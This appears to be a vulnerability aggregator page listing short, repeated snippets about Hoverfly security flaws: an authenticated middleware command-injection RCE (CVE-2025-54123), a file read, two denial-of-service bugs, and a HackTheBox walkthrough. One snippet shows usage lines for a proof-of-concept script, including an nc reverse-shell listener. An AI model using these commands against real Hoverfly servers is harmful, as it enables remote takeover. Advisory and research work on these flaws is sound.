CVE-2025-54123-Poc

CVE-2025-54123 Exploit Hoverfly Authenticated Middleware Command Injection RCE | CVSS 9.8 CRITICAL Vulnerability Hoverfly = 1.11.3 is vulnerable to authenticated command injection through the /api/v2/hoverfly/middleware endpoint. Admin credentials are required, but once authenticated, the...

hoverfly

API simulations for development and testing Hoverfly is a lightweight, open source API simulation tool. Using Hoverfly, you can create realistic simulations of the APIs your application depends on. Replace slow, flaky API dependencies with realistic, re-usable simulations Simulate network latency...

Hoverfly-1.11.3-RCE-CVE-2025-54123-Exploit

CVE-2025-54123 — Ejecución Remota de Código en la API Middleware de Hoverfly RCE autenticado mediante inyección de comandos del SO en Hoverfly ≤ 1.11.3 Resumen de la Vulnerabilidad...

devarea

DevArea — HackTheBox Platform: HackTheBox OS: Linux Status: Retired — full walkthrough published. Full walkthrough: l3dsec.com/walkthroughs/devarea-htb Attack Chain root@kitploit: nmap → 21 FTP anon + 80 + 8080 Jetty + 8888 Hoverfly → FTP anon → employee-service.jar Apache CXF, pre-3.5.5 →...

CVE-2025-54123

CVE-2025-54123 Resumen Ejecución remota de código autenticada en el endpoint de la API de middleware de HoverFly debido a una validación de entrada insuficiente y a una ejecución insegura de comandos. Flujo del ataque 1. Autenticación El atacante se autentica en HoverFly usando credenciales válid...

Hoverfly < 1.10.3 - Arbitrary File Read

Hoverfly is a lightweight service virtualization/ API simulation / API mocking tool for developers and testers. The /api/v2/simulation POST handler allows users to create new simulation views from the contents of a user-specified file. This feature can be abused by an attacker to read arbitrary...

CVE-2026-50013

Hoverfly is an open source API simulation tool. Prior to version 1.12.8, when Hoverfly is running in Diff mode, the AddDiff function writes to the shared responsesDiff map without any synchronization no mutex. When multiple proxy requests are processed concurrently the normal case for any proxy,...

CVE-2026-50018

Hoverfly is an open source API simulation tool. Prior to version 1.12.8, remote post-serve actions use http.DefaultClient without any timeout configuration. When the remote endpoint is unreachable or intentionally slow accepts TCP connection but never responds, each triggered proxy request spawns...

CVE-2026-50018

Hoverfly (open source API simulation tool) prior to version 1.12.8 is vulnerable to denial of service via a goroutine leak in its remote post-serve actions . The root cause is the use of http.DefaultClient without any timeout configuration: when the remote endpoint is unreachable or intentionally...

CVE-2026-50018 Hoverfly: Denial of Service via Goroutine Leak in Remote Post-Serve Actions

Hoverfly is an open source API simulation tool. Prior to version 1.12.8, remote post-serve actions use http.DefaultClient without any timeout configuration. When the remote endpoint is unreachable or intentionally slow accepts TCP connection but never responds, each triggered proxy request spawns...

CVE-2026-50018 Hoverfly: Denial of Service via Goroutine Leak in Remote Post-Serve Actions

Hoverfly is an open source API simulation tool. Prior to version 1.12.8, remote post-serve actions use http.DefaultClient without any timeout configuration. When the remote endpoint is unreachable or intentionally slow accepts TCP connection but never responds, each triggered proxy request spawns...

CVE-2026-50013

Hoverfly (an open-source API simulation/proxy tool by SpectoLabs) is affected by an unsynchronized concurrent map write in its Diff mode . Prior to version 1.12.8 , the AddDiff() function writes to the shared responsesDiff map without a mutex. Because Hoverfly processes proxy requests concurrentl...

CVE-2026-50013 Hoverfly: Process Crash via Concurrent Map Write Race Condition in Diff Mode

Hoverfly is an open source API simulation tool. Prior to version 1.12.8, when Hoverfly is running in Diff mode, the AddDiff function writes to the shared responsesDiff map without any synchronization no mutex. When multiple proxy requests are processed concurrently the normal case for any proxy,...

CVE-2026-50013 Hoverfly: Process Crash via Concurrent Map Write Race Condition in Diff Mode

Hoverfly is an open source API simulation tool. Prior to version 1.12.8, when Hoverfly is running in Diff mode, the AddDiff function writes to the shared responsesDiff map without any synchronization no mutex. When multiple proxy requests are processed concurrently the normal case for any proxy,...

CVE-2025-54123

CVE-2025-54123 Hoverfly CVE RCE Uso Ejecución de comandos: root@kitploit: python3 CVE-2025-54123.py -u $USER -p $PASS -t "http://example.com:8888" -c whoami Shell inversa: root@kitploit: nc -lvnp 443 root@kitploit: python3 CVE-2025-54123.py -u $USER -p $PASS -t "http://example.com:8888" -r $IP 44...

CVE-2025-54123

CVE-2025-54123 - Inyección de Comandos en Hoverfly RCE PoC CVE-2025-54123 - Inyección de Comandos en Middleware de Hoverfly 📌 Detalles del CVE ID : CVE-2025-54123 Tipo : Inyección de Comandos / Ejecución Remota de Código RCE Proveedor : Hoverfly Impacto : Permite a atacantes autenticados ejecutar...

CVE-2025-54123

CVE-2025-54123 Inyección de Comandos en Hoverfly a RCE PoC Resumen Este repositorio contiene un script de prueba de concepto PoC en Python para interactuar con instancias de Hoverfly afectadas por CVE-2025-54123. El script soporta: Autenticación usando credenciales de nombre de usuario/contraseña...

GO-2026-5975 Hoverfly: Denial of Service via Goroutine Leak in Remote Post-Serve Actions in github.com/SpectoLabs/hoverfly

Hoverfly: Denial of Service via Goroutine Leak in Remote Post-Serve Actions in github.com/SpectoLabs/hoverfly...

GO-2026-5977 Hoverfly: Process Crash via Concurrent Map Write Race Condition in Diff Mode in github.com/SpectoLabs/hoverfly

Hoverfly: Process Crash via Concurrent Map Write Race Condition in Diff Mode in github.com/SpectoLabs/hoverfly...

Uncontrolled Resource Consumption

github.com/spectolabs/hoverfly is vulnerable to Uncontrolled Resource Consumption Denial of Service. The vulnerability is due to the use of http.DefaultClient without a configured timeout for remote post-serve actions, which allows an attacker to trigger requests to a non-responsive endpoint,...